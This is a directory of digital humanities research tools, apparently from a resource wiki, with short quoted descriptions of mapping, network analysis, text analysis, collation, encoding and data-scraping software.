- [Clio]() (online tool that shows locations of historical interest in user's proximity; "Clio is an educational website and mobile application that guides the public to thousands of historical and cultural sites throughout the United States. Built by scholars for public benefit, each entry includes a concise summary and useful information about a historical site, museum, monument, landmark, or other site of cultural or historical significance. In addition, “time capsule” entries allow users to learn about historical events that occurred around them. Each entry offers turn-by-turn directions as well as links to relevant books, articles, videos, primary sources, and credible websites")
- [Esri Story Maps: Storytelling with Maps]() ("Story maps combine intelligent Web maps with Web applications and templates that incorporate text, multimedia, and interactive functions")
- [Flow Mapping with Graph Partitioning and Regionalization]() ("an integrated software tool to explore flow patterns in large spatial interaction data. It involves two packages: (1) GraphRECAP, which uses spatially constrained graph partitioning to find a hierarchy of natural regions defined by spatial interactions; and (2) FlowMap, which visualize flows based on the discovered regions and related attributes")
- [GeoExtraction]() (extracts geographical location from text; a Digital Methods Initiative tool)
- [Geo IP]() ("Translates URLs or IP addresses into geographical locations"; a Digital Methods Initiative tool)
- [**Google Fusion Tables**](): create a fusion table and use the map chart type to map data with geographical information: instructions.
- [**Google Earth**]()
- [Google Lit Trips]() (site unaffiliated with Google that provides "free downloadable files that mark the journeys of characters from famous literature on the surface of Google Earth. At each location along the journey there are placemarks with pop-up windows containing a variety of resources including relevant media, thought provoking discussion starters, and links to supplementary information about 'real world' references made in that particular portion of the story. The focus is on creating engaging and relevant literary experiences for students." Includes documentation about how to make lit trips.)
- [Google Maps "My Maps"]() ("create and share maps of your world, marked with the locations, routes and regions of interest that matter to you")
- [Map Stack]() ("Assemble a selection of different map layers like backgrounds, satellite imagery, terrain, roads or labels! Tweak Photoshop-like controls like colors, masks, opacity and brightness to make a map your own! Share your map with a link or Pinterest or Tumblr")
- [MapStory]() (online platform for creating animated maps with "storylayers" of data "highlighting changes over time whether they be social, cultural or economic in nature")
- [**Neatline**]() ("allows scholars, students, and curators to tell stories with maps and timelines. As a suite of add-on tools for Omeka, it opens new possibilities for hand-crafted, interactive spatial and temporal interpretation"; downloadable for installation on server)
- Bethany Nowviskie, et al. ["Geo-Temporal Interpretation of Archival Collections with Neatline" [PDF]]() (2013)
- [Odyssey]() (online tool that provides "a simple way for journalists, designers, and creators to weave interactive stories" based on a mapping paradigm; allows for mixing "written narrative, multimedia, and map based interaction")
- [Power Map Preview for Excel (download)]() (tool from Microsoft Research Labs that allow users to generate from Excel spreadsheets map visualizations with geolocation, 2D and 3D data mapping, and interactive "video tours")
- [**QGIS**]() (downloadable open source GIS system positioned as alternative to the industry-standard, institutionally-priced ArcGIS tools; "Create, edit, visualise, analyse and publish geospatial information on Windows, Mac, Linux, BSD")
- See the Geospatial Historian [tutorial lessons]() on using QGIS for historical and other GIS mapping work.
- [StoryMapJS]() ("free tool to help you tell stories on the web that highlight the locations of a series of events; ... you can use StoryMapJS to tell a story with photographs, works of art, historic maps, and other image files. Because it works best with very large images, we call these 'gigapixel' StoryMaps"; requires a Google account and uses Google Drive as repository for user-provided photos to be shown on maps)
- [Thematic Mapping Engine (TME)]() ("enables you to visualise global statistics on Google Earth. The primary data source is UNdata. The engine returns a KMZ file that you can open in Google Earth or download to your computer")
- [Timemap]() ("Javascript library to help use online maps, including Google, OpenLayers, and Bing, with a SIMILE timeline. The library allows you to load one or more datasets in JSON, KML, or GeoRSS onto both a map and a timeline simultaneously")
- [TimeMapper]() ("Elegant timelines and maps created in seconds")
- [WorldMap]() (open source platform "to lower barriers for scholars who wish to explore, visualize, edit, collaborate with, and publish geospatial information. WorldMap is Open Source software.... provides researchers with the ability to: upload large datasets and overlay them up with thousands of other layers; create and edit maps and link map features to rich media content; share edit or view access with small or large groups; export data to standard formats; make use of powerful online cartographic tools; georeference paper maps online...; publish one’s data to the world or to just a few collaborators")
## Mind-Mapping Tools (Conceptualization Tools)
- [DebateGraph]() (collaborative mindmapping platform that allows individuals or groups to: facilitate group dialogue, make shared decisions, report on conferences, make and share posters, tell non-linear stories, explore the connections between subjects, etc.)
## Network Analysis / Social Network Analysis Tools (see [Network Analysis Tutorials]()) (see also [Internet Research Tools](), [Tools for Studying Twitter](), and [Network Visualization Tools]())
- **Gephi** ("interactive visualization and exploration platform for all kinds of networks and complex systems, dynamic and hierarchical graphs")
- (see [Gephi Tutorials]())
- [Convert Excel and CSV Files into Networks]() ("This plugin helps transform your Excel files or csv files into a network, directly imported into Gephi. You can choose which entities, and which relations, form the network")
- [Google Fusion Tables]()
- [Create a Google Fusion Table]() from a spreadsheet or csv file holding social network data, and select a chart type to visualize it as a network graph: [instructions]().
- Other tutorials:
- Timothy A. Lepczyk, ["How to Create Network Graphs with Google Fusion Tables"]()
- Iman Salehian (UCLA) & David Kim (UCLA), ["Tutorial for Google Fusion Tables Network Graph" [PDF]]()
- [Jigsaw]() (downloadable platform for importing a variety of unstructured or structured documents; identifying entities (people, organizations, locations, dates, etc.); and visualizing relations between entities. Designed for investigating networks and clusters of relations implicit in large numbers of documents. [Video tutorials]() | [Instruction manual]())
- [Local Wikipedia Map]() (online tool for visualizing networks of Wikipedia articles by choosing topics, filtering the resulting nodes [articles], and downloading and sharing the visualization; allows live access to the articles at nodes) ([detailed instructions]())
- [Netlytic]() ("cloud-based text and social networks analyzer that can automatically summarize large volumes of text and discover social networks from online conversations on social media sites such as Twitter, Youtube, blogs, online forums and chats")
- [Personae - A Character Visualization Tool for Dramatic Texts]() ("The aim of these visualisations is to use the XML files from the New Variorum Shakespeare edition of The Comedy of Errors to create a resource for exploring patterns of speeches by and mentions of characters in Shakespeare's work. Visualising the frequency, extent, and position of dialogue relating to a particular character presents users with a simple and immediate measure of that character’s prominence within the play. The tool enables users to select and visualise individual characters’ involvement, producing a novel means of exploring large-scale structural, narrative, or character-focused patterns within the text") ([Github repository for the tool's code]())
- [ProfileWords]() (creates word clouds visualizing frequent words in the profile bios of Twitter users and the last 25 tweets of their followers and those they follow)
- [TAGS v5.0]() (Twitter Archiving Google Spreadsheet)
- Stacy Blasiola, ["Instructions for TAGS v5.0"]() (2013)
- Example of TAGS v5.0 use by Lisa Marie Rhody: [Tweet archive for #DH2013]() (Digital Humanities 2013 conference) (2013)
- **Twitter Analysis** (see [Tools for Studying Twitter]() in [Internet Research Tools]() section of this page)
- [**UCINet for Windows**]() ("software package for the analysis of social network data"; free trial for 90 days; discounted pricing for students & faculty)
## Programming Languages Tools & Resources (programming/scripting languages and major program toolkits/packages used to facilitate text and data analysis, collection, preparation, etc.) (see [Programming Languages Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-programming-languages))
- **Python Tools & Resources** (see [Python Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-programming-languages))
- [**Python**](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-programming-languages) ("a clear and powerful object-oriented programming language" often used for text and data wrangling)
- [Beautiful Soup](http://www.crummy.com/software/BeautifulSoup/bs4/doc/) ("Python library for pulling data out of HTML and XML files. It works with your favorite parser to provide idiomatic ways of navigating, searching, and modifying the parse tree. It commonly saves programmers hours or days of work")
- [IPython Notebook](http://ipython.org/notebook.html) ("web-based interactive computational environment where you can combine code execution, text, mathematics, plots and rich media into a single document.... These notebooks are normal files that can be shared with colleagues, converted to other formats such as HTML or PDF, etc. You can share any publicly available notebook by using the IPython Notebook Viewer service which will render it as a static web page")
- **"R" Tools & Resources** (see ["R" Tutorials]http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244314/Tutorials%20for%20DH%20Tools%20and%20Methods#tutorials-r())
- ["R"](http://www.r-project.org/) ( R Project for Statistical Computing) ("language and environment for statistical computing and graphics.... provides a wide variety of statistical (linear and nonlinear modelling, classical statistical tests, time-series analysis, classification, clustering, ... and graphical techniques, and is highly extensible")
- [rOpenSci](http://ropensci.org/) (workflow environment based on R that is designed for scientists but may be useful for other scholars working with processing and narrating data. "Use our packages to acquire data (both your own and from various data sources), analyze it, add in your narrative, and generate a final publication in any one of widely used formats such as Word, PDF, or LaTeX"; packages that allow access to data repositories through the R statistical programming environment [and] facilitate drawing data into an environment where it can readily be manipulated"; "analyses and methods can be easily shared, replicated, and extended by other researchers")
- [Stylo for R](https://sites.google.com/site/computationalstylistics/home) (computational stylistics methods implemented as R package; see how-to article [PDF]; warning: requires advanced knowledge)
- [FACTORIE]() ("toolkit for deployable probabilistic modeling, implemented as a software library in Scala. It provides its users with a succinct language for creating factor graphs, estimating parameters and performing inference")
- [Examples and instructions]() for using FACTORIE for Topic Modeling, Document Classification, and Natural Language Processing.
- **Web Browser Automation Tools** (can be used for scripting web-scraping)
- [Google Chrome Scraper]() ("highlight a part of the webpage you'd like to scrape, right-click and choose "Scrape similar...." Anything that's similar to what you highlighted will be rendered in a table ready for export, compatible with Google Docs")
- Tutorial: Jens Finnäs, ["Get started with screenscraping using Google Chrome’s Scraper extension"]() (2012)
- [Selenium]() (browser-automation tool that can be used to create scripts and other automation for web-scraping)
- **Mashup Tools**
- [Yahoo Pipes]() ("composition tool to aggregate, manipulate, and mashup content from around the web.... Simple commands can be combined together to create output that meets your needs: combine many feeds into one, then sort, filter and translate it; geocode your favorite feeds and browse the items on an interactive map....")
## Simulation Tools & Platforms (see Simulation Tutorials)
- [NetLogo]() (downloadable software for agent-based simulations: "NetLogo is a programmable modeling environment for simulating natural and social phenomena. . . . NetLogo is particularly well suited for modeling complex systems developing over time. Modelers can give instructions to hundreds or thousands of independent 'agents' all operating concurrently. This makes it possible to explore the connection between the micro-level behavior of individuals and the macro-level patterns that emerge from the interaction of many individuals. NetLogo lets students open simulations and 'play' with them, exploring their behavior under various conditions. It is also an authoring environment which enables students, teachers and curriculum developers to create their own models. NetLogo is simple enough that students and teachers can easily run simulations or even build their own. And, it is advanced enough to serve as a powerful tool for researchers in many fields. NetLogo has extensive documentation and tutorials. It also comes with a Models Library, which is a large collection of pre-written simulations that can be used and modified. These simulations address many content areas in the natural and social sciences, including biology and medicine, physics and chemistry, mathematics and computer science, and economics and social psychology")
- [Second Life]() (general-purpose, Internet-based, immersive, 3D, and highly scalable (massively multi-user) "virtual world" where users can create an avatar, create richly rendered spaces and objects, and interact with each other as well as with various media sources)
- [SET]() (Simulated Environment for Theatre) ("3D environment for reading, exploring, and directing plays. Designed and developed by a multidisciplinary team of researchers, SET uses the Unity game engine to allow users to both author and playback digital theatrical productions")
## Text Analysis Tools
(complemented by tools for [Text Preparation for Digital Work](), [Topic Modeling Tools](), and [Text Visualization Tools]() below; see also the [TAPoR 2]() portal of text-analysis tools for an omnibus listing with reviews, ratings, difficulty levels, etc.) (see [Text Analysis Tutorials]()). For some text-analysis tools, stop word lists are useful (lists of common words to ignore). Two common English-language stop lists are: [Fox 1992 stop word list]() (429 words) | [SMART 1971 stop word list]() (571 words)
- [**AntConc**]() ("concordance program developed by Prof. Laurence Anthony," with versions for Windows, Mac & Linux; site includes video tutorials)
- [Rudimentary instructions for using Antconc]() (Alan Liu)
- Heather Froehlich, ["Getting Started with AntConc"]() (tutorial)
- Other tools to complement or extend AntConc also available on the AntConc site.
- [**Bookworm**]() ("Search for trends in 4.6M public domain texts from HathiTrust Digital Library")
- Related Bookworm sites and interfaces:
- [Various Bookworms](): (interface for Google Ngram visualization of trends in a select number of corpora: Open Library books; ArXiV science puplications; Chronicling America historical newspapers; US Congress bills, amendments, and resolutions; Social Science Research Network research paper abstracts)
- Ben Schmidt,
- [In-browser Text Classification Using Bookworm]() ("This page automatically classifies a snippet of text (pasted into the text area below) against a bookworm database, so you can see how any given snippet lines up with the metadata you've defined for a collection.... If you have a Bookworm installation of your own, you can easily modify the code here to classify by whatever text variables you might have on hand")
- [Bookworm: Movies]() ("Search for trends in the dialogue of thousands of movie and TV shows, based on subtitles from Open Subtitles")
- [Bookworm: Simpsons] ("Search across every word from 25 years of the Simpsons (at least, the ones that made it into closed captions) by episode, season, or even time within in the episode") (How the Simpsons bookworm was made)
- [FAQ and Guide to Making Bookworms]() (by Ben Schmidt)
- Also see the following on the nature and limitations of the underlying Hathi trust corpus for Bookworm: David Mimno, ["Word Counting, Squared"]() (2014).
- [**CLAWS**]() ("grammatical tagger that analyzes words in a text by part of speech. Based on the approximately 10 million words of the British National Corpus")
- [**Concordance Programs**]() (see [Concordance Program Tutorials]()) - M-N. Lamy and H. J. Klarskov Mortensen, ["Using Concordance Programs in the Modern Foreign Languages Classroom"]() (2012) (includes links to concordance programs) - [**AntConc**]() ("concordance program developed by Prof. Laurence Anthony," with versions for Windows, Mac & Linux; site includes video tutorials) - Heather Froehlich, ["Getting Started with AntConc"]() (tutorial)
- **Corpus Linguistics Programs/Resources** (see [Corpus Linguistics Tutorials]() (see also [Corpora sets]() in [Data Collections & Datasets]())
- U. Portsmouth, [Online Corpus Linguistics Resources]() (including tools)
- [Wmatrix]() (corpus analysis and comparison tool providing "a web interface to the USAS and CLAWS corpus annotation tools, and standard corpus linguistic methodologies such as frequency lists and concordances. It also extends the keywords method to key grammatical categories and key semantic domains"; 1-month free trial)
- [WordSimilarity]() (also known as Word 2 Word) (downloadable, java-based "open-source tool to plot and visualize semantic spaces, allowing researchers to rapidly explore patterns in visual data representative of statistical relations between words. Words are visualized as nodes and word similarities as directed edges of varying strengths or thicknesses.... system contains a large library of ready to use, modern, statistical relationship models along with an interface to teach them from various language sources"
- [DataBasic]() ("a suite of easy-to-use web tools for beginners that introduce concepts of working with data . . . [WordCounter]() analyzes your text and tells you the most common words and phrases. . . . [WTFcsv]() tells you WTF is going on with your .csv file. . . . [SameDiff]() compares two or more text files and tells you how similar or different they are")
- [DPLA (Digital Public Library of America) Visual Search Prototype]() ("prototype visual search interface that explores content from the Digital Public Library of America. It is designed to provide an 'at-a-glance' visual overview of search results, and an intuitive means of narrowing the scope of the search")
- [**Google Ngram Viewer**]() (search for and visualize trends of words and phrases in the Google Books corpus; includes ability to focus on parts of the corpus [e.g., "American English," "English Fiction"] and to use a variety of Boolean and other search operators); see the related article: Jean-Baptiste Michel, Erez Lieberman Aiden, et al., ["Quantitative Analysis of Culture Using Millions of Digitized Books"]() (2011)
- See also: [Bookworm]() (interface for Google Ngram visualization of trends in a select number of corpora: Open Library books; ArXiV science puplications; Chronicling America historical newspapers; US Congress bills, amendments, and resolutions; Social Science Research Network research paper abstracts
- [**HathiTrust Research Center (HTRC) Portal**]() (allows registered users to search the HathiTrust's ~3 million public domain works, create collections, upload worksets of datra in CSV format, and perform algorithmic analysis -- e.g., word clouds, semantic analysis, topic modeling) ([Sign-up for login]() to HTRC portal; parts of the search and analysis platform requiring institutional membershkp also require a userid for the user's university)
- [Features Extracted From the HTRC]() ("A great deal of fruitful research can be performed using non-consumptive pre-extracted features. For this reason, HTRC has put together a select set of page-level features extracted from the HathiTrust's non-Google-digitized public domain volumes. The source texts for this set of feature files are primarily in English. Features are notable or informative characteristics of the text. We have processed a number of useful features, including part-of-speech tagged token counts, header and footer identification, and various line-level information. This is all provided per-page.... The primary pre-calculated feature that we are providing is the token (unigram) count, on a per-page basis"; data is returned in JSON format)
- **Tools and Tutorials related to using the HathiTrust Research Center:**
- Peter Organisciak and Boris Capitanu (in Programming Historian), ["Text Mining in Python through the HTRC Feature Reader"]() (2016) )("We introduce a toolkit for working with the 13.6 million volume Extracted Features Dataset from the HathiTrust Research Center. You will learn how to peer at the words and trends of any book in the collection, while developing broadly useful Python data analysis skills")
- [IBM Watson User Modeling service]() ("uses linguistic analytics to extract cognitive and social characteristics, including Big Five, Values, and Needs, from communications that the user makes available, such as email, text messages, tweets, forum posts, and more; [online demo site]() allows users to input text samples for analysis)
- [**Lexos - Integrated Lexomics Workflow**]() ("online tool ... to "scrub" (clean) your text(s), cut a text(s) into various size chunks, manage chunks and chunk sets, and choose from a suite of analysis tools for investigating those texts. Functionality includes building dendrograms, making graphs of rolling averages of word frequencies or ratios of words or letters, and playing with visualizations of word frequencies including word clouds and bubble visualizations")
- [Macro-Etymological Analyzer]() (program by Jonathan Reeve that runs a frequency analysis of plain-text documents, looking up each word using the Etymological Wordnet, and tallying the words according to origin language family)
- [**Named Entity Recognition (NER) Tools**]() (see [NER Tutorials]())
- [NEX - Named Entity eXtraction]() (Web tool from dataTXT to identify names, concepts, etc. in short texts; also allows API access)
- [**Stanford Named Entity Recognizer (NER)**]() ("a Java implementation of a Named Entity Recognizer. Named Entity Recognition (NER) labels sequences of words in a text which are the names of things, such as person and company names, or gene and protein names. It comes with well-engineered feature extractors for Named Entity Recognition, and many options for defining feature extractors. Included with the download are good named entity recognizers for English, particularly for the 3 classes (PERSON, ORGANIZATION, LOCATION), and we also make available on this page various other models for different languages and circumstances")
- [New York Times "Chronicle"]() (use an interface similar to Google Books Ngram Viewer to explore the rise and fall in frequencies of words/phrases published in the New York Times. Instructions: first "clear graph"; then add one word or phrase to the graph at a time whose frequency you are interested in)
- [OpenCalais]() ("The OpenCalais Web Service allows you to automatically annotate your content with rich semantic metadata, including entities such as people and companies and events and facts such as acquisitions and management changes")
- [**Overview**]() (open-source web-based tool designed originally for journalists needing to sort large numbers of stories automatically and cluster them by subject/topic; includes visualization and reading interface; allows for import of documents in PDF and other formats. "Overview has been used to analyze emails, declassified document dumps, material from Wikileaks releases, social media posts, online comments, and more." Can also be installed on one's own server.)
[Personal-Nouns]() (Python scripts by Cory A. Taylor for generating list of "personal nouns" found in a text--i.e., nouns applying to persons such as "conscript, consecrater, conservator, consignee, consigner," etc. The GitHub site includes a list of personal nouns generated from the 1890 Webster's Unabridged Dictionary)
- [**Poem Viewer**]() ("web-based tool for visualizing poems in support of close reading")
- [Video describing the poetry visualization tool]()
- Research paper on principles of Poem Viewer: A. Abdul-Rahman, et al., ["Rule-based Visual Mappings - with a Case Study on Poetry Visualization"]()
- [Prospero]() ([documentation in French] text-analysis suite designed for humanists working with from historical and diachronic textual series; focused on exploring "complex cases")
[Prosodic]() ("a python script which performs two main functions: 1. annotating English and Finnish text for their phonological properties; 2. evaluating the relative metricality of lines of English and Finnish text")
[Prospect]() ("a sophisticated web-app implemented as a plugin for WordPress that enables users to collect and curate data and then enable the wider public to visualize and access that data. The graphical representation of data – whether it be geographical information shown on maps, temporal data shown on timelines, interpersonal relationships shown as connected graphs, etc. – can facilitate end-users in comprehending it quickly and analyzing it in domain-specific ways") (more detailed "About" page)
[Robots Reading Vogue]() (online tools from Digital Humanities at Yale University Library for datamining the archives of Vogue magazine; includes covermetrics, n-gram search, topic-modeling, and statistics for advertisements, circulation, etc.)
- [Vogue N-gram Search]() (use an interface similar to Google Books Ngram Viewer to explore the rise and fall in frequencies of words/phrases published in the Vogue magazine)
- [**Sentiment Analysis**]()
(Useful cautionary critique of sentiment analysis: Sarah Kessler, ["The Problem With Sentiment Analysis"]() (2014))
- [**Sentiment Analysis**]() (interactive demo plus information and research paper for the analysis of degrees of positive/negative "sentiment" in text passages based on an extensive "sentiment bank"; site includes downloadable dataset and code)
- [Sentiment140]() ("allows you to discover the sentiment of a brand, product, or topic on Twitter"; "Our approach is different from other sentiment analysis sites because: we use classifiers built from machine learning algorithms. Some other sites use a simpler keyword-based approach, which may have higher precision, but lower recall. We are transparent in how we classify individual tweets. Other sites do not show you the classification of individual tweets and only show aggregated numbers, which makes it difficult to assess how accurate their classifiers are.")
- [Umigon]() ("sentiment analysis for tweets, and more")
- [Signature Stylometric System]() ("program designed to facilitate "stylometric" analysis and comparison of texts, with a particular emphasis on author identification")
- [Sketch Engine]() (subscription-based text analysis service with 1-month free trial; includes pre-loaded corpora in multiple languages and also allows users to create their own corpora from online sources; tools for building corpora, concordance search, thesaurus, word list, term extraction, parallel corpora; subscribers can access historical corpora such as EEBO/EECO).
- [TaPOR]() (Text Analysis Portal) (collection of online text-analysis tools--ranging from the basic to sophisticated)
- [**TaPOR 2.0**]() (current, redesigned TAPoR portal; includes tool descriptions and reviews; also includes documentation of some historical or legacy tools)
- **Statistical Natural Language Parsers (Probabalistic Grammar / Syntax Parsers**) ([about statistical parsing]())
- Christopher D. Manning and Hinrich Schütze, ["Foundations of Statistical Natural Language Parsers"]() (links to many parser tools)
- [Bikel Parser]()
- [MSTParser]()
- [OpenCCG Parser]()
- [RASP System]()
- [The Stanford Parser]()
- [Stylo for R]() (computational stylistics methods implemented as R package; see how-to article [PDF]; warning: requires advanced knowledge)
- [Text Mechanic]() ("A suite of simple, single task, browser based, text manipulation tools"--e.g., working with lines, words, spaces, etc. in texts)
- [Textometrica]() (web-based text analysis tool designed to "analyse large amounts of text in several different ways. For example, you can examine the frequency of individual words, see how often one term is linked to another, and see which words together form ideas and concepts in the text. Users can also create different visualisations and graphs from their text in order to gain a better overview of the structure of the text")
- [Textal]() ("free smartphone app that allows you to analyze websites, tweet streams, and documents, as you explore the relationships between words in the text via an intuitive word cloud interface. You can generate graphs and statics, as well as share the data and visualizations in any way you like")
- [TextPlot]() ("Texplot is a little program that turns a document into a network of terms that are connected to each other depending on the extent to which they appear in the same locations in the text")
- [twXplorer]() (online service that provides search tools for Twitter tweets, terms, links, and hashtags in relation to each other; provides a first-pass analytical view of a tweet or term, for example, in its relevant context)
- [**TXM (Textométrie)**]() ("The TXM platform combines powerful and original techniques for the analysis of large text corpora using modular components and open-source.... Helps users to build and analyze any type of digital textual corpus possibly labeled and structured in XML... Distributed as a Windows, Linux or Mac software application ... and as an online portal run by a web application")
- [VariAnt]() ("A freeware spelling variant analysis program for Windows" -- scroll down on this page for the download links)
- [**Voyant Tools**]() (Online text reading and analysis environment with multiple capabilities that presents statistics, concordance views, visualiztions, and other analytical perspectives on texts in a dashboard-like interface. Works plain text, HTML, XML, PDF, RTF, and MS Word files (multiple files best uploaded as a zip file). Also comes with two pre-loaded sets of texts to work on (Shakespeare's works and the Humanist List archives [click the “Open” button on the main page to see these sets])
- [Voyant "Get Started" Guide]() (Also see: Geoffrey Rockwell, ["Introduction to Voyant"](), 2016)
- Helpful [tutorial]() from Pedagogy Toolkit with tips and examples for classroom use of Voyant
- [Voyant tool list]()
- [Voyant Tools Documentation]()
- [VoyantServer]() (downloadable Java-based version of Voyant Tools that can be installed and run locally on desktop or laptop computer)
- [**Word and Phrase.info**]() (powerful tool that allows users to match texts they enter against the 450-million word Corpus of Contemporary American English [COCA] to analyze their text by word frequencies, word lists, collocates, concordance, and related phrases in COCA)
- [**Word2Vec**]() ("deep-learning" neural network analysis tool from Google that seeks out relationships (vectors) between words in texts)
- Explanations and discussions of the tool:
- Google Open Source Blog: ["Learning the Meaning Behind Words"]() (Aug. 2013)
- Derrick Harris, ["We're On the Cusp of Deep Learning for the Masses"]() (16 Aug. 2013)
- [**WordHoard**]() ("Powerful text-analysis tool for a select group of "highly canonical literary texts"--currently, all of early Greek epic (in original and translation), all of Chaucer and Shakespeare, and Edmund Spenser's Faerie Queene and Shepheardes Calendar"
- [Word Map]() (enter a word and visualize on a map its relation to equivalent words in different languages and nations around the world; "this experiment brings together the power of Google Translate and the collective knowledge of Wikipedia to put into context the relationship between language and geographical space")
- [WordSeer]() ("web-based text analysis and sensemaking environment for humanists and social scientists") (for full discussion of the site, see Aditi Muralidharan and Marti A. Hearst, ["Supporting Exploratory Text Analysis in Literature Study,"]() 2013 ) [paywalled])
- [Word Tree]() (generate word trees like those originally created for the ManyEyes visualization site from pasted-in text or from URL; example)
- [WordWanderer]() ("We are experimenting with visual ways in which we can enhance people's engagement with language. By fusing the information we can obtain from corpus searches, concordance outputs and word clouds we are aiming to enable and encourage people to notice and wander through the words they read, write and speak")
## Text Collation Tools (see Text Collation Tutorials)
- [**Juxta Commons**]() ("a tool that allows you to compare and collate versions of the same textual work")
- Juxta tutorials and resources: see [Tutorials: Text Collation]().
- [TRAViz]() (a JavaScript library that "generates visualizations for Text Variant Graphs that show the variations between different editions of texts. TRAViz supports the collation task by providing methods to: align various editions of a text; visualize the alignment; improve the readability for Text Variant Graphs compared to other approaches; interact with the graph to discover how individual editions disseminate")
- [Versioning Machine, version 4.0]() ("a framework and an interface for displaying multiple versions of text encoded according to the Text Encoding Initiative (TEI) Guidelines")
- [Visualizing Variation]() ("code library of free, open-source, browser-based visualization prototypes that textual scholars can use in digital editions, online exhibitions, born-digital articles, and other projects. All of the visualization prototypes offered here deal with different aspects of the bibliographical phenomenon of textual variation: the tendency of words, lines, passages, images, prefatory material, and other aspects of texts to change from one edition to the next, and even between supposedly identical copies of the same edition. Variants are material reminders of the complex social lives of texts")
- [VVV (Version Variation Visualization)]() ("explore great works with their world-wide translations")
## Text Encoding Tools (see Text Encoding Tutorials)
- [TEI Tools]() (tools page from the Text Encoding Initiative; includes tools for generate TEI schemas, convert to and from TEI documents, and stylesheets for converting TEI documents to HTML and other formats)
- [Music Encoding Initiative (MEI)]() (XML schemas and downloadable editing tool for text-encoding of music notation documents)
- [OpenCalais]() ("The OpenCalais Web Service allows you to automatically annotate your content with rich semantic metadata, including entities such as people and companies and events and facts such as acquisitions and management changes")
- [**Oxygen XML Editor**]() (free 30-day trial period)
- [**XMLSpy**]() (free 30-day trial period)
## Text Preparation for Digital Work (Text & Data "Wrangling" Tools for Harvesting, Scraping, Cleaning, Classifying, etc.)
(see [Text Preparation Tutorials]()) (see also [Programming Languages Tools & Resources]() to facilitate wrangling)
- [The Sourcecaster]() (set of instructions for using the command line to perform common text preparation tasks--e.g., conversion of text or media formats, wrangling and cleaning text, batch filename editing, etc.)
- [AntFileConverter]() ("freeware tool to convert PDF files into plain text for use in corpus tools like AntConc" -- scroll down for the download links on this page)
- [BookNLP]() ("natural language processing pipeline that scales to books and other long documents in English, including: part-of-speech tagging ... dependency parsing ... named entity recognition ... character name clustering ... quotation speaker identification ... pronominal coreference resolution)
- [CSVkit]() ("suite of utilities for converting to and working with CSV, the king of tabular file formats")
- See also the step-by-step tutorial ["Eleven Awesome Things You Can Do With CSVKit"]()
- [Data Science Tool Kit]() (variety of tools for such purposes as converting/mapping street address to geographical coordinates, coordinates to political areas, coordinates to statistics, IP address to coordinates, text to sentences [i.e., removing boilerplate from text passages], text to sentiment, HTML to text, HTML to story, text to people, and files to text [e.g., PDF, Word docs, and Excel spreadsheets to text])
- [DataWrangler]() ("interactive tool for data cleaning and transformation"; suggests and facilitates restructuring, extraction, deletion, and other transformations of tabular and other structured data)
- [Import.io]() ("Turn any website into a table of data or an API in minutes without writing any code")
- Jeroen Janssens, ["7 Command-line Tools for Data Science"]() (2013) (tools for "obtaining, scrubbing, exploring, modeling, and interpreting data")
- [**Lexos - Integrated Lexomics Workflow**]() ("online tool ... to "scrub" (clean) your text(s), cut a text(s) into various size chunks, manage chunks and chunk sets, and choose from a suite of analysis tools for investigating those texts. Functionality includes building dendrograms, making graphs of rolling averages of word frequencies or ratios of words or letters, and playing with visualizations of word frequencies including word clouds and bubble visualizations")
- [NameChanger]() ("Rename a list of files quickly and easily. See how the names will change as you type")
- [**OpenRefine**]() ("tool for working with messy data, cleaning it, transforming it from one format into another, extending it with web services, and linking it to databases like Freebase")
- Tutorials: ["Introduction to OpenRefine" [PDF]]() and ["Cleaning Data with OpenRefine"]() (5 Aug. 2013)
- [OutWit Hub]() (standalone program or Firefox extension for data extraction using Firefox: "contents extracted from a Web page are presented in an easy and visual way, without requiring any programming skills or advanced technical knowledge. Users can easily extract links, images, email addresses, RSS news, data tables, etc. from series of pages without ever seeing the source code. Extracted data can be exported to CSV, HTML, Excel or SQL databases, while images and documents, are directly saved to your hard disk"; paid "pro" version has more capabilities and capacity)
- [**Overview**]() ("automatically sorts thousands of documents into topics and sub-topics, by reading the full text of each one")
- [Pandoc]() ("If you need to convert files from one markup format into another, pandoc is your swiss-army knife. Pandoc can convert documents in markdown, reStructuredText, textile, HTML, DocBook, LaTeX, MediaWiki markup, OPML, Emacs Org-Mode, or Haddock markup to HTML formats: XHTML, HTML5, and HTML slide shows using Slidy, reveal.js, Slideous, S5, or DZSlides; Word processor formats: Microsoft Word docx, OpenOffice/LibreOffice ODT, OpenDocument XML; Ebooks: EPUB version 2 or 3, FictionBook2; Documentation formats: DocBook, GNU TexInfo, Groff man pages, Haddock markup; Page layout formats: InDesign ICML; Outline formats: OPML; TeX formats: LaTeX, ConTeXt, LaTeX Beamer slides; PDF via LaTeX; Lightweight markup formats: Markdown, reStructuredText, AsciiDoc, MediaWiki markup, Emacs Org-Mode, Textile...")
- [pdf2htmlEX]() ("renders PDF files in HTML, utilizing modern Web technologies. It aims to provide an accurate rendering, while keeping optimized for Web display")
- [PhoTransEdit]() ("Text to Phonetics online transcriber for turning English text into phonetic transcription using IPA symbols; also has free downloadable version)
- [Rip Sentences]() ("Enter a URL, and this script will split the text of the html page into sentences"; a Digital Methods Initiative tool)
- [Scan Tailor]() (" interactive tool for post-processing of scanned pages. It gives the ability to cut or crop pages, compensate for skew angle, and add / delete content fields and margins, among others. You begin with raw scans, and end up with tiff's that are ready for printing or assembly in PDF or DjVu file")
- [Scraper]() ("simple data mining extension for Google Chrome"; "to use it: highlight a part of the webpage you'd like to scrape, right-click and choose "Scrape similar...". Anything that's similar to what you highlighted will be rendered in a table ready for export, compatible with Google Docs")
- [ScraperWiki]() (free tools for scraping from Twitter and table extraction from PDF's)
- [ScraperWiki Classic]() (archive of user-created scraping tools for specific purposes and resources; includes resources and tutorials for creating your own scraper)
- [Scrapy]() (downloadable Python-based tool for "fast high-level screen scraping and web crawling framework, used to crawl websites and extract structured data from their pages. It can be used for a wide range of purposes, from data mining to monitoring and automated testing")
- [Source Code Search]() (loads a URL and searches for keywords + optional number of trailing characters in the page's source code [e.g., "cool" or with 5 trailing spaces, "cool cats"; a Digital Methods Initiative tool)
